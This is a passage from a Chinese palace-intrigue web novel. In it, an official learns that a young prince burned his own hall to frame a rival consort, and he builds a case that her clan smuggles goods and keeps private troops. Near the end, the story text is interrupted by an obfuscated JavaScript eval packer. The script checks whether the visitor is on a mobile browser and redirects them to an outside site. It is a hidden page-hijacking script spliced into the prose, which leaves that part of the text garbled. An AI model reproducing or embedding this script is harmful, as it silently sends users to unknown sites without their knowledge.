“父皇既命我监审此案,那吾必得把案子查得清楚明白,才能不枉父皇一片苦心。”四皇子微微一笑道,“七弟是个聪明人,可是这些毕竟只是后宫之争,父皇偏宠赵贵嫔,也不知会不会信,若是还有更加确凿的证据,拳拳之下,赵氏一族或许就能得一个严惩了。” 四皇子刻意把“赵氏一族”几个字念重了几分。三皇子、赵贵嫔与赵氏族人同为一体,光有宫人供称宫嫔谋害皇嗣未必能将其一锅端起。 张岁安听至此处,也算是明白了四皇子的言外之意。 其实佑炆殿起火一事,疑点颇多,赵氏虽最为可疑,但赵贵嫔偏挑这个节骨眼下手,实在显得有些张扬。 可除了赵氏,还能有谁呢? 四皇子的一番话也点明了,现有的证据并不足以证明赵贵嫔纵火谋害七皇子,但赵贵嫔毒害五皇子的前罪已经被审了出来,不管佑炆殿失火与她有没有关,她都逃不了谋害皇子的罪名。 而四皇子故意将这些泄露给张岁安,实则是抛出了一个合作信号。至于赵贵嫔有没有命人纵火谋害七皇子,她到底是不清白的,不过是一句证词的事。 当年赵贵嫔还只是个刚刚入宫的新人时,便享尽恩宠,四皇子之母虽为桑族公主,入宫便得了贵人的恩封,却也备受冷落,三皇子四皇子在同月前后出生,但两殿的恩宠却是天壤之别。 桑族公主被族人作为贡品献入宫中,本就远离故土,又不得宠爱,在深宫之中孤苦凄凉,没过几年就郁郁而终。 也难怪这四皇子不待见赵贵嫔。 先前赵氏一族的权势盛极,四皇子也少与朝臣往来,自然没有把握,但当下遇见这么一桩送上门的机会,他怎能不借此狠狠戳那赵氏一刀。 “四殿下今日之言,子康明白了。”张岁安沉声应道。 他面上平静无常,却对四皇子起了几分疑惑,这四皇子一向深居浅出,不涉朝政,可对这外戚党派之事,观察得倒是细致入微。 临走时,廷尉刑峥一路将张岁安送至门口。 邢峥眉头蹙成一团,他请四皇子来此,本是为了保一个清正的名声,结果这四皇子倒好,恨不得直接把案册拿给张岁安看了。 “子康啊,四殿下方才所言,毕竟还未上呈陛下,这些供词孰是孰非,你心里应当有个数。”邢峥留了句话给他。 “风已经起了,草木又怎得静处?”张岁安沉声道,“世伯留步吧,接下来要审的案子,恐怕还有更多。” 28. 雏狼 三皇子听了赵贵嫔的安排,先是跑到小七临时所住的和谦殿演了一出苦情戏,望着小七弟的伤口硬挤出了几滴眼泪。 接着,又跑到景和帝跟前,痛彻心扉地自责自己一时疏忽,这才导致七弟遇险:“儿臣照顾幼弟不利,求父皇责罚!”说罢,扑通磕了两个响头。 景和帝瞧见他这副模样,也觉得闹心,挥挥手让他自己闭门思过,没事别乱掺和。 上午三皇子刚哭完,下午张岁安也来请罪。 “这一前一后的,倒是赶得紧。”景和帝随口说了一句,跟常玉互相递了个眼神,旋即将张岁安召入殿中。 天已转阴,云絮压在红檐上,殿内光线也跟着暗了,透着股阴雨前的滞闷。 “臣张岁安,拜见陛下。”张岁安躬身行礼,“臣此前举荐江崇为皇子近侍时,曾为其担保,如今他失职未能护七皇子周全,臣亦有罪,请陛下责罚。” 景和帝顿了顿,问道:“你既已来了,不如说说,这佑炆殿大火一事,你如何看?” 张岁安拐了个话头道:“回陛下,臣身为外臣,不明此事详情,廷尉秉公办事,又有四皇子监审,相信定会水落石出。”说完,他又补上一句,“臣此来一为请罪,二也是为全圣人之托,祁圣人与七皇子道观之师芈仙人有故交,听闻七皇子遭大火伤身,特送了两卷《黄庭经》来,托臣代为送呈,还望陛下应允。” 景和帝看破不说穿,他知道张岁安偏向七皇子,或是为了此前相救的情分,或是为了士族看重嫡长,为公也好,为私也罢,张岁安毕竟做得隐忍得当,也未曾有过什么越矩之事。 小七皇子那条烧得血红的腿还映在心上,景和帝对这个孩子也生出了几分多余的恻隐。 “朕这个小七儿,生不逢时,是个孤苦的命。”景和帝沉沉地叹了一声,旋即挥了挥手,让张岁安去了。 张岁安临到和谦殿时,太医章恒正巧也到了,眼见着七皇子要换药,张岁安本想在殿门外候着,却逢天下起了飘飘小雨,浇得门廊上都是水,内侍便将他迎了进去,在幕帘后等着。 透着素色的幕帘,只能看见淡淡的人影,七皇子坐在榻上,被太医掀起膝上的袍子。 他右腿上烧烂的那块皮有巴掌大小,创面带着褐色的血脓,先前敷的药膏连着皮肉和纱布粘在了一起,章恒只能先将纱布撕下来。 “殿下且忍一忍。”章恒拿着浸了温水的绢帕擦干净脓污,再用银勺挑起与伤口粘黏之处,轻轻撕开。 小七咬着一块棉布卷,脖颈肌肉绷得紧紧的,眉头拧得七歪八扭,眼睛都疼得发红。 直到他透过帘幕,直勾勾地瞥见了候在殿门前的张岁安—— 他咬着棉布,闷闷地“嗯”了一声。 声音闷在布卷里,听上去委屈可怜,吓得换药的章恒也跟着一抖。 “殿下恕罪,臣再轻点,很快,很快就好。”章恒连声道。 小七趁机往那帘幕后盯,只见候在那里人还是一动不动地,只露出一个朦胧的影子,也看不出神情。 小七冷不丁地又“唔”了一声,眼睛直往那帘幕后边儿瞧。 章恒又是一愣,以为是又把七皇子弄疼了,手上的力道更慢了几分,慢得好似那捕猎的狸猫,抬手取药都故意放慢了好几倍。 折腾了好半天,终于换完了药,章恒擦了擦额角的汗,手酸眼花地站起身来:“殿下若是觉得伤口疼痒,还请千万不要去挠,臣在药中加了凉肌草,或能缓解一些灼痛。” 章恒收拾完药箱,走出殿外,与候在外面的张岁安互相见礼,宫人们掀开帘幕,张岁安进了殿内。 “臣张岁安,见过殿下。”张岁安躬身行礼,又奉上带来的简牍,“祁圣人听闻殿下境况,特托臣送来经书两卷,助殿下定惊安神。” 宫人们将七皇子膝上的衣袍盖好,端着铜盆里换下来的脏布,走出了殿外。 张岁安不经意瞥了一眼,盆中满是被褐色血污染透的纱棉,光是看着这血淋淋的颜色,就能想到那腿上创口的糜烂。 照顾七皇子的宫人显然比之前要多上了一倍,都是陛下命常玉亲自去少府调来的,但人是多了,身边却没有亲近的,常乐和江崇都还在大狱中,一时半会儿也放不出来。 小七坐在榻上,很是不自在,看见张岁安来了,一双眼睛巴巴地望着他。 张岁安找了个借口把宫人都差走后,旋即才近了几步:“殿下伤势如何?” 小七似是不知道怎么回答,抬了抬腿,把半截裹着纱布的脚露给他看,刚上完药的腿被裹得严严实实的,透出来的边缘有些发肿。 他无所谓似的左右转了转脚踝,刚刚敷过药膏的伤口凉得发麻,经这么一转,黏在纱布下的皮肉拉扯着,凉下又叠了一层火辣辣的疼,他抬起头,眉心蹙了蹙,冲着张岁安玩似地咧嘴一笑,露出两颗尖尖的小犬牙。 张岁安也不知道这孩子在笑什么,只得温声劝道:“这烧伤是最疼的,如今天气虽然冷了,但殿下还是要多多注意。” “嗯。”小七低低应了一声,不在意地把腿往下一放,脚后跟磕在床木上,震得发麻,麻中连带着痛,扯着那块烂皮肉一起发痛。 殿内一时沉默,他看向张岁安,见对方蹙着眉头,开口问道:“你怎么不说话了?” 张岁安盯着小七那截被烧伤的腿,默了良久:“臣前日去了趟廷尉府,听了些佑炆殿大火的案情,据四皇子所言,此事并非意外,而是人为。”他顿了顿,眼神垂到了地板上,“臣自以为能护着殿下,却还是被有心之人钻了空子,让殿下险些……是臣无能。” 小七没吭声,只定定地盯着他,黑沉沉的眼睛像两口深不见底的枯井:“那些害我的人,都会被严惩吗?” “谋害皇子,罪大恶极,相信陛下也不会姑息。” 小七盯着脚尖,脚后跟耷拉在床沿边,无意识地碰着冰凉的床木,发出嗒嗒的轻响:“那个换烛火的宫人,是他们的人,”他抬眼,冷森森地看向张岁安,“陛下审出来了吗?” 张岁安品了品他这话的意思,不禁觉得有些寒噤:“殿下,是不是知道些什么?” 小七的眼神飘忽地落在了窗棂上,细雨正顺着风洒进来,落湿了窗台的木沿,他眉头微微一皱,像是嫌这雨扰了清净。 张岁安见状,快步走到窗边,朝外面探了探,确认周围无人,抬手将窗木取下,关上了窗,将院中的风雨隔绝在外。 他回到榻边,声音压得更低:“当夜在殿中,殿下是不是察觉到了什么异动?” 小七歪了歪头,顾左右而言他:“你送我的那些书,都烧坏了。” 张岁安一愣,见他把话头拐得猝不及防,也顺着他的意思应着:“一些杂书而已,殿下若是喜欢,臣再为殿下送些来。” “就连那个玉环,也没了。” “臣再找工匠为殿下做一个。” 小七漆黑的眸子弯了弯,冷不丁又冒出一句:“你想做三哥的太子傅吗?” 张岁安猛地一顿,心里暗自声道,定是江崇这个嘴上没 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张岁安听得心中五味杂陈,更不知如何接话。 先不说七皇子此举有多险,万一江崇来晚一些,万一佑炆殿中真有人想趁机作乱,那就是把自己性命都搭了进去。 但更多的,是张岁安觉得眼前的孩子,似乎不是初见时印象中那个惊慌失措的小七了。 不知从何时起,他心下多了一层心思,多了一层连张岁安都未曾察觉到的阴鸷。 半晌,张岁安才开口道:“殿下有这种心思,为何不先与臣说?” “与你说?”小七抬起眼皮望着他,“你又不在我身边。” “可万一出什么纰漏,万一殿下有什么闪失……” “三哥做了太子,我一样会死。”小七声音哑得像生锈的弦,他语气决绝,似是早就想明白了一切。 若三皇子成了太子,自己会如何? 若张岁安都偏向了别人,自己又会如何? 那日,他想了一夜。 直到那个婢女进了殿中,替他清扫着烛台,这个婢女他记得,记得她总是行迹鬼祟,记得她总是似有若无地与三皇子的宫人接话,她曾是五皇子身边的人,一直留在这佑炆殿中,做着洒扫的活计。 婢女清理完,便退了出去。 他如今一无所有,有什么能与那幕后之人抗衡的呢? 他唯一能想到的,便是自己的命。 夜色下,烛火烧着了帐幔,腾腾的火舌窜上了屋顶,他坐在殿中,冷冷地望着满堂的黑烟,任由大火将起…… “陛下信了,你也信了,不是吗?”小七望着张岁安。 张岁安被噎得语塞,就连他也没能想到,寡言少语的七皇子,平日里就像只受惊的兔子,竟然敢一把火将自己的殿宇给点了。 小七语气冷得发寒:“只能他们害我,我不能害他们吗?只能陛下利用我,我不能利用陛下吗?” “殿下……”张岁安被他这番话堵得心口发闷,“殿下年幼,自保尚且要装病避祸,何故要拿自己的命来赌这么一出?” 一步踏错,便得不偿失的赌局,只有绝境的赌徒才敢一搏。 “因为,”小七眼皮一垂,“我不要你去辅佐别人,我要你留在我身边,做我的人。” 他顿了顿,再抬眼时,眼底似有暗光燃起,像两簇冒着野心的鬼火:“你若是太子傅,那我,就要是太子。” 29. 舆图 廷尉府的案册很快便呈到了陛下面前。 供词中写得明明白白,佑炆殿打扫烛盏的宫婢早年受赵贵嫔暗中指使,在五皇子高热的药里下引,害得五皇子失智,后又将七皇子的起居动向一一传给瑶池殿,火起当夜,她趁七皇子熟睡,打翻烛台引燃帐幔,意图谋害嫡皇子。 虽然未曾直言纵火是受谁指使,可字里行间的指向却再清晰不过。 四皇子心思缜密,在婢女的供词上点到为止,也不提佑炆殿外的太平鼎是谁砸烂的,给景和帝和朝臣都留出了无限遐想。 群臣还未来得及作出反应上书时,五皇子的生母吕美人最先哭到了陛下跟前,她一身素衣,带着半疯半傻的五皇子,在御阶前跪诉了一日。 “陛下,妾的孩儿当年何等聪慧,却被赵氏所害,成了如今这副凄苦不堪的模样,赵氏势大,妾不敢言,可如今真相大白,还请陛下为妾和五皇子做主!” 当年赵贵嫔宠冠六宫,吕美人即便疑心儿子被害,也只能把苦水咽进肚子里,如今借由七皇子殿中失火一事,赵氏的罪行得以浮出水面,她才终于敢站了出来。 吕美人这一哭,像是捅破了一层窗户纸,没过半日,就有几位曾被赵氏打压过的朝臣,纷纷上书细数赵氏的罪证。 风一旦起了,受惊的鸟儿也会接二连三地飞起来,原本沉寂的朝堂,也因这场大火被点燃。 张岁安借着当下的风声,又见了曹太仆一面,这次他的态度,相比上次缓和了不少。 一来,毕竟曹家也不想女儿一辈子就这样活在暗处,郑岐若能借此正身立业,这场婚事也好名正言顺;二来,曹太仆掌管一国马政,此前司隶校尉赵青曾借军资整饬之名,奏请景和帝置马政丞于校尉府,美其名曰协助管理,实则颇有几分分权的意思。 当时这个提议虽被陛下摁了下去,但若真由着赵氏上位,外戚跨署置官夺权,届时他这个太仆从军政要职沦为个车马仪仗队怕也是迟早的事。 曹太仆犹豫再三,将张岁安送走的隔日,还是偷偷往张府捎了信。 张岁安得了信,当即快马加鞭地一路赶去了曹氏的祖籍西平郡,借着曹太仆的亲笔信拜访了当地的曹氏族老,后在东南面的山中寻到了那处别庄。 这座曹氏最偏的庄园后,有几户零零散散的旧舍,张岁安临到此处,远远地便听见了院子里有叮叮当当的捶打声。 待他走近,正瞧见曹家表妹曹悠蹲在院里,捞着袖子在修一架老旧的木纺车。 她头戴着布巾,手操一把铁锤,冲着纺车的关节铆了几下,掰了掰,试了试手劲,屋中一面容清俊的青年人走了出来,惊得放下了手里的箩筐,赶紧去接曹悠手里的铁锤。 “这种粗活我来就好了,伤着你了可怎么得了!” “岐哥你别小瞧人,看看我改好的,是不是方便多了?”曹悠说着用脚蹬了一把纺车下头的木踏,踏板牵动着麻绳,纺锤嗡嗡地转了起来,“之前的纺线要用手转,加个木踏后一只手就能喂棉,这样能快不少呢,就是这个踏板踩上去还有些费劲,你帮我想想如何能轻巧些。” 两人凑在一处埋头研究,甚至没人注意到张岁安站在院外,直到他清了两声嗓子,两个甜情蜜意的小鸳鸯才抬起头来。 “表哥?”曹悠一愣,手里的锤子顺势一滑,险些砸中郑岐的脚。 郑岐踮着险象环生的脚,把铁锤子捡起来,也望着张岁安,愣愣的不知如何是好。 曹悠眼珠一转,心想张岁安不会是替江崇来找自己麻烦的吧,干脆又抢过郑岐手里的锤子,直指着张岁安喊道:“表哥,你让那个江崇死了这条心吧,我是不会嫁给他的。” 这曹表妹从小就是个炮仗脾气,直来直去,不爱女红,就爱捣弄些木工铁具,剑走偏锋,这么多年也没变过。 张岁安站在院外一笑:“多年不见,表妹就是这样待为兄的?”接着他瞅了眼边儿上的郑岐,“我一路过来连水都没喝上一口,郑公子不准备请我这个表舅哥进去喝杯茶吗?” 郑岐眼神下意识地飘向曹悠,似是在等着她点头,曹悠放下袖子,顿了顿,瞥向张岁安道:“你大老远找过来,所为何事?” “我不找你,”张岁安看向郑岐,“我找他。” 曹悠立刻把锤往身前一横:“找他又为何事?” “你们为何躲到这里来,我就是为了何事而来。”张岁安两手握在身前,沉声静气,稳如老儒模样,轻飘飘地揶揄道,“这日头这么晒,客从远方来,这就是你们的待客之道吗?” 曹悠翻了个白眼,悄悄凑到郑岐耳边蛐蛐起来:“你看,跟我说的一模一样吧,张家的人,都是这副老夫子模样。” 郑岐连连点头,悄声补上一句:“既然张公子都来了,要不还是请他进来吧?” 曹悠挥了挥锤子,批准了郑岐的请求,示意他去拉开院子的篱笆。 郑岐将张岁安请到内屋,手脚麻利地倒了两碗凉茶:“敝舍简陋,没什么好招待的,还请张公子见谅。” 这处别庄本是给庄户住的,屋内陈设简单,墙皮斑驳之处露出内里的黄土,一张旧木案上放着一盏生了锈的铁烛台,上边摆着几张墨迹未干的草图。 “不瞒郑兄,子康今日前来,为的正是令兄一事。”他顿了顿,目光越过门廊,落在院中,“我知道你与表妹情投意合,却又碍于令兄一事,无法光明正大地与曹氏结亲,但眼下却有一个机会能为你兄长正名。” 郑岐闻言,握着茶杯的手微微一紧,他没有接话,只是低着头喝了口杯里的淡茶。 张岁安继而说道:“最近宫中出了一桩大事,皇子宫殿夜起大火,七皇子险些葬身火海,陛下大怒,命廷尉府和四皇子严查此案,却偏偏绕过了司隶校尉赵青。” 郑岐思忖片刻,抬起头,露出一丝细微的惊愕:“陛下是对赵氏起了疑心?” “也正是因为此案,赵贵嫔毒害五皇子一事被审了出来,吕美人得知后,带着五皇子在御阶上跪诉了一日。” “可陛下对赵氏一族多有偏宠,会不会这次也大事化小小事化了?” “谋害皇子乃是重罪,但毕竟只有一份口供,赵贵嫔若死不认账,陛下碍于情分,恐怕也难以立下决断。”张岁安语气重了几分,“赵氏并非一人,乃是一脉,若不一同扳倒,怕是烧不尽的野草,来年还会再生。” 郑岐低着头,没有接话,目光不自觉地飘向院中,曹悠还在鼓弄着那架纺车,用一把小铁刀修磨着零件,修完一吹,木屑纷纷扬扬地飞在阳光下。 “郑兄应当知道,没有曹家授意,我今日也找不到此处来,姑父姑母爱护女儿,若无把握,定不会行此险招,如今陛下有意立储,若三皇子入主东宫,赵氏专政,那郑兄作为曾经检举过外戚贪腐的家眷,恐怕只能永远躲在这一方小院中,再无出头之日了。”张岁安顺着郑岐的眼神,也望向那院中女子,“表妹幼时就爱鼓弄木工铁器,姑母常说若她是个男子,定能做个工官,这农家小院日子清苦,往后她便只能困于乡野,耕织养禽,生儿育女,这当真是郑兄想要的吗?” 张岁安此话带了几分试探,郑岐的门第与曹氏相比,多少是有些高攀,如今曹家女儿为了他,跑到这山野农院中避世,他若真心爱护她,定不会就这样舍得她吃苦,可他若安于现状,心安理得地让曹表妹跟着自己从高门贵女变成一家农妇,张岁安作为表兄,也不大看得下去。 自己虽是君子动口不动手,但把江崇偷偷叫来揍他一顿,还是能做到的。 郑岐眼神淡了淡,紧抿着嘴:“她跟着我,着实是委屈了。” 张岁安旋即继而说道:“在下曾在兰台看到过令兄的检举文书,有一事不解,贪腐是内政,可将官货走私到外邦,那可就是国政了,令兄是如何得知梁氏与赵氏联手走私一事的呢?” 郑岐默了半晌,起身朝张岁安微微行了一礼:“子康兄,请随我来。” 晦暗的里屋采光不好,视线只能看清室内桌案的轮廓,郑岐点了火烛,从一块墙砖后取出一方檀木盒,将盒中一片片的泛黄麻纸在案上铺陈开来,约莫一炷香的功夫后,零零碎碎的图纸才隐约拼显出一张不算完整的舆图。 张岁安借着幽幽的烛火去看,只见此图虽然工笔朴素,但其中的标注和圈点都十分精细,不仅用炭笔勾勒出了大小航线,就连沿途的泊口都无一遗漏:“这可是东海的舆图?” 郑岐 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他顿了顿,将几张边上的碎图纸往中心挪了挪:“其实在临海村镇,与桑族通商互易并不是什么新鲜事,桑族地处偏岛,地瘠民贫,早年海市上常有些私茶私铁贩子,把山里的粗茶或是旧的铁货拿去跟桑族换海货,百姓们各取所需,互济度日。赵显成了会冶郡守后,便借着稽私的名头向商贩抽成,当地人称其为‘东海税’,这东海税一年比一年高,到最后直接成了赵氏一家的生意,他们用自家商船运货,把私贸的银两都攥在了自己手里。” “我兄长先前在太仓署,专管官盐官铁的出入账册,起初他只当东海税是地方压榨百姓的伎俩,后来才发现不对劲,官仓的出库账上每年都有一笔会冶郡军需,名义上是用于剿匪,每次出库后不过月余,赵显的船就会出海。兄长心下生了疑,悄悄抄了一份历年会冶盐铁出库的日期和数目给我,托我回乡查探,我私下跟当地的仓管和船工对了一番,发现数目大致都可以对得上。” “回京后,我便将此事告知了兄长,说若能奉官命去查,定能查出那船上的货物是贪墨的官货,兄长连夜写了呈文,后来……”郑岐说至此处顿了顿,“后来的事,想必公子也知道了。” 后来的事,便是郑昙骤逢母丧,回乡丁忧,路上遇匪,车毁人亡…… 郑岐作为其胞弟,本来也该回乡守孝,却不得不受曹家庇佑,以一个私奔的名头暂时躲在这偏远山庄之中。 赵氏以军需之名走私,放在任何一处官吏头上都是大罪,可偏偏他背后还有梁氏,这些外戚臣子是景和帝的臂膀,若只是这样查下去,先不说他们会不会早早就备好了替死鬼,即便是查到实处,最终恐怕也难以重处。 除非,能让贪腐变成死局。 闪动的火苗映着张岁安的脸,他抿了抿嘴,似乎觉得嘴唇有些发干,院外头时不时地传来曹表妹敲打木头桩子的声音,一下一下,像是某种警醒。 京城之中,素有高门大院的趣谈,就在曹太仆的女儿跟着寒门书生私奔之时,赵氏不是还癞蛤蟆想吃天鹅肉地向太尉秦府提过亲吗? 这三路十八弯的八卦绕到了心头,倒是给张岁安提了个醒。 他两眼重新落回那海舆图上,捏起半片外洋航线的残角,顿了半晌,忽然轻笑了一声。 郑岐一怔:“子康兄为何发笑?” “他们还真是自掘坟墓。”张岁安点明道,“以军需之名走私官货,又私自开辟外洋航线,绕开国境海师的巡防,东海群岛,鱼龙混杂,届时官货外流事小,泄露我朝海防虚实事大,如此一来,朝中便不能坐视不管了。” 说罢,他转身望向郑岐:“郑兄既然能查得此事,想来帮在下探一探赵显私船出海的时间也不难吧。” 郑岐闻言顿了片刻,继而点了点头。 数日后,东莱郡的都尉李行收到一封密信,信上是一条袭国通往沧溟岛的外部航线图。 这李行是当朝太尉的旧部,一见着这封密信,还以为是细作在暗探我袭国海防,当即便派人去一探究竟。 结果正好撞上一艘顶风作案的商船,李行命人将其拦下后,将船中的货物查了个尽,不查不知道,一查吓一跳,船上运的竟然是印着司农寺火漆印的官货。 隔日,一封急报便快马送到了绥京城,入了掌管一国军政的太尉府中。 30. 僵持 温承殿前,赵贵嫔一身素衣跪在青石板上,她卸下了平日满头的珠翠,几缕碎发垂在鬓角,面容憔悴惹人生怜。 常玉殿里殿外地往来了好几次:“贵嫔,陛下不肯见您,您还是先回吧。” “陛下若不肯见,妾就跪死在此处。”赵贵嫔语气平静。 暮色渐沉,青石板的凉意直往骨头缝里钻,赵贵嫔把自己跪得面色惨白之际,景和帝的殿内也点了灯。 常玉终于又从殿内出来传话了:“贵嫔,陛下请您进去。” 赵贵嫔神色一顿,斜着身子从地上爬起来。 “还不快把贵嫔扶起来。”常玉招呼着。 宫人们扶着弱柳似的赵贵嫔往殿中去了,一见着景和帝,赵贵嫔好似水一般地就落在了地上。 “陛下,陛下,妾冤枉,还请陛下为妾做主。”她叩伏在地,噎着哭腔,好像背了天大的委屈。 景和帝也被闹得头疼,望着堂下赵贵嫔那副弱不禁风的模样,心下更是烦闷:“你冤枉,冤枉在何处?” “陛下圣明,怎可仅凭几句宫人的供词,便笃信妾接二连三地谋害皇子,吕美人向来与妾不睦,听了谗言便觉着是妾害了她的孩子,可此事当年陛下也查证过,五皇子是因为高热失智,就连太医也证实过。” 赵贵嫔抬起头,哭得娇红的眼望向景和帝: “更何况那七皇子殿下,他身在宫中,妾命人在陛下眼皮子底下放火,闹得人尽皆知,岂不是显得太过愚蠢吗?” 烛火摇曳下,景和帝的神情似有所动。 赵贵嫔借势继续说着:“这些年,妾的兄长为陛下监防士族,免不了在行事上碍着了朝臣的眼,他们家世深厚,都是高门大户,素来同声共气,妾母家卑微,除了陛下,再没有其他依仗了,陛下是惩是罚,妾都甘之如饴,妾不怕受委屈,只怕那些捕风捉影的谗言,扰乱了陛下的圣听。” 她话说得软,却句句都往景和帝的心窝上戳。 景和帝手中的珠串盘了又盘,紫金香炉里的烟好似也快烧尽了,几缕蔫了的烟丝飘着淡淡的龙涎香气,一散就没了。 他沉沉地叹了一声:“事情还未核定,你回宫禁闭,安安分分地照顾玉瓒,外头的事,少去置喙。” 赵贵嫔见景和帝态度有所缓和,心下稳了稳,面上感动得几滴泪连珠似地落了下来:“妾,深谢陛下明察。” 她用袖口擦了擦下颌的泪痕,被宫人搀扶着起来,娇弱地往殿外走。 刚没走了几步,就瞧见一身朝服的秦老太尉被宫人引着,匆匆进了殿内。 “贵嫔,怎么了?”扶着她的婢女慧安见她愣愣地站在原地。 赵贵嫔心下生疑:“当下并无战事,太尉为何要单独面见陛下?” 婢女没听明白,而赵贵嫔心里却惴惴不安起来。 秦老太尉掌管一国军政,非重大军情,鲜少亲自面圣奏报,当下宫禁就快落锁了,是什么急事非得此时来报。 赵贵嫔一把抹干脸上的泪痕,沉声吩咐道:“之前打点过的那个御前小内侍,你回头再去探探,看看太尉在陛下面前说了些什么?” 她交代完,走了几步,忽而又停下:“再速速送一封密信给兄长,让他备好后招,记住,要快。” “喏。” 暮色落了,浅橘色的余晖染在天边,被一层层的云裹着,缓缓藏入了四方城西处的廊角下。 秋日萧瑟,瑶池殿的春日光景早已不在,满院的花枝落成了枯黄的叶,被宫人清扫在两旁,积着厚厚的灰土。 夜深,婢女慧安终于从温承殿探来了消息。 赵显被陛下下令抓捕入狱了。 赵氏借军需之名行通外之实,借外洋航线与外族走私,拿军政大事当自家买卖,简直就是在太尉眼皮子底下咬了一口。 秦老太尉力主彻查,旋即军监便下往了会冶、东莱两郡,没想到走私官货之事还未查出名堂,检举此事的东莱郡都尉李行却先出事了。 粮荒之际,东莱郡流民四散,李行身为本地士族出身的子弟,还习惯于往年士族掌管一方军政的旧习,于是便借粮充军,先稳住军心,想等朝廷的救灾粮到了再补上。 可问题就在于,这朝廷下来的救灾粮根本不足数,军饷中空出的漏子变成了李行“私吞粮饷”的罪证。 此前,景和帝刚刚下了一道严令,禁止地方守军擅动粮草,粮草挪动需得上行审批,就是为了避免地方士族私掌军权,没想到这个李行却撞到了枪口上。 景和帝最忌讳的,就是自己的律令沦为空谈,他素来忌惮士族垄断军政,可偏偏这李行又是揭发赵氏走私的功臣。 这赵青替陛下监防朝臣这么些年,别的没搞出什么名堂,对于各方官员谁误了上头的禁令,谁在规矩上出了错处,倒是握了一手鸡毛蒜皮的碎料,就等着遇见事了捅出来挡灾。 这罪状取得巧妙,硬是把“外戚走私军需”和“士族擅动军资”推到了同样的风口浪尖上,把明堂堂的一方重罪弄得好似两方党争。 起初,赵氏还想搭上梁氏这层关系,再加一层保险,私底下递过几次话,两家因利勾结,并没有多少根基,梁家本只是想贪,压根不想背上什么通外的名头,眼见着一边出了事,恨不得摘得比谁都干净,赶紧推了个下头的人出来挡灾。 事发以来,赵氏虽身陷囹圄,却也借着景和帝对士族隐而不发的忌惮,与半个朝堂僵持不下。 你说赵贵嫔谋害皇子,她便哭诉宫婢口供孤证难立,三皇子和玉瓒公主晨昏恭定接连打着感情牌,磨久了景和帝也跟着心软。 你说赵显走私通外,后脚便有了李行擅动军资的罪证,水一搅浑,原本罪名昭昭的案子,忽然就变了味,明明顺着藤就可以查清的案子,就这样卡在了当下,变得退也不是,进也不是。 正值多事之季,有一人的书信,却姗姗来迟地入了张府。 回信之人,正是之前驻守太初观的统领,校尉钟邙。 这个钟邙本是陈皇后之父陈老将军的旧部,七皇子在太初观清修时,便是他在统领那处的戍卫。 此前,张岁安也偷偷查探过,七皇子的乳母出事后,她弟弟一家四下逃窜,躲到了表亲家的村中,没过多久,那处村落便被山贼抢掠屠尽了,他们做得干净,没有留下一处活口。 随后,张岁安便向远在北境的钟邙写了封信,信中没有提及任何敏感的揣测,只说七皇子在京郊险遇山贼,如今已脱困回宫。 北境路途遥远,往来信使多有耽搁,他本以为这封告信会石沉大海,没想到竟然在此时收到了回音。 钟邙在信上说,自赵氏族亲任执金吾后,他的领头上司便成了赵氏亲信,没过多久便以北境防务吃紧为由将他调走了,他担心自己走后,无人尽职守卫在七皇子身侧,便将自己最得力的副将黄倾推了上去。 至于京郊匪患,也确有其事,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445039|185064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些周边山贼匪寇多靠劫掠商队为生,一年一剿,却还是春风烧不尽,想来也有豪强兼并土地导致百姓只能落草为寇的缘故。 书信写得详尽,末尾还不忘添上一句,末将有负故皇后所托,致使七皇子遇险,若不是北境防务难以抽身,定亲自赶回,削掉那废物黄倾的脑袋。 想来也不用多问,那黄倾压根不是什么钟邙亲信,而是赵氏安插在太初观的人。 张岁安读完,卷起信笺,盯着那封皮上的烙章看了半天。 北境和京城的信件往来分官道和民道,官道一般用于军报和官方文书,北境将领若想与家人通信,也可以特批走官道。民道则多是民间百姓互通书信,当时张岁安为了掩人耳目,送往北境的信件用了民道,民道不仅慢,而且多有绕路周转,故而封皮上往往会有好几个驿站的烙章。 而这封信上,只有两个驿站的烙章,看上去应是走的官道特批。 这信来得真巧,巧得就像是故意提醒着张岁安往那个方向去查似的,以至于他甚至都怀疑这到底是不是钟邙本人的亲笔。 信中所说的匪患,张岁安此前在兰台便查过,一般京郊城外若有异动,执金吾与京郊五大营各自都会查探留档。 五大营由步骑射水防组成,里头有退役老将,也有士族子弟,还有些招募待训的新兵,非一方可控。五大营与掌管京城的执金吾互为制衡,共掌京畿防卫,执金吾的统领虽是赵氏族亲,但却瞒不过京郊五大营。 照当时多方的留档文书来看,七皇子受险时,太初观附近确有山贼出动。 这些所谓的山贼召之即来挥之即去,每次都恰到好处,难不成是赵氏养寇自重一手掌握了山贼号令权? 张岁安越想越深,将手头的信笺随手收进书房的柜格中,挪动架上的残卷时,忽而想起杜何那日抖出的那一大堆司农寺天书来。 赵显联手梁氏每年骗走那么多军需,又冒着风险跟桑族走私,贪走的那些钱粮到底流往了何处? 乱世金银比不过刀兵,他当时就大胆揣测过,或许赵氏一直在暗处养着一群人,只是这群人到底养在何处,又是什么规模,都不得而知。 眼下,这伙京郊山贼,与这股本来藏在暗处的力量,连成了一体。 他几乎可以推测出,赵氏豢养的私兵,就藏在离京畿不远的山中,他们以贼匪之状散落,动手时便聚成一体,既能掩人耳目地铲除异己,又能借剿匪之名调动军需。 甚至可以在最后的乾坤未定之时,里应外合,兵行险招…… 梁氏贪污成性,但他们是上岸的外戚,宫中的梁贵嫔无子女,这么多年,也不见其使什么手段为自己寻得依仗,至少从现有的表象上来看,梁氏图的就是财。 但赵氏却不一样。 赵氏是没有根基的家族,他们依附于皇权,也必然要夺得皇权才能得以延续,可万一,景和帝一念之差,或者朝臣群起反对,三皇子与高位失之交臂呢? 赵氏是赌不起的,三皇子若不能即位,赵氏一朝荣宠顷刻间便没了,届时,便只有这最后一步了…… 想到此处,张岁安的注意力又不自觉地落回到那封北境来的书信上,越发觉得那封是非难辨的信,实在巧合得诡异。 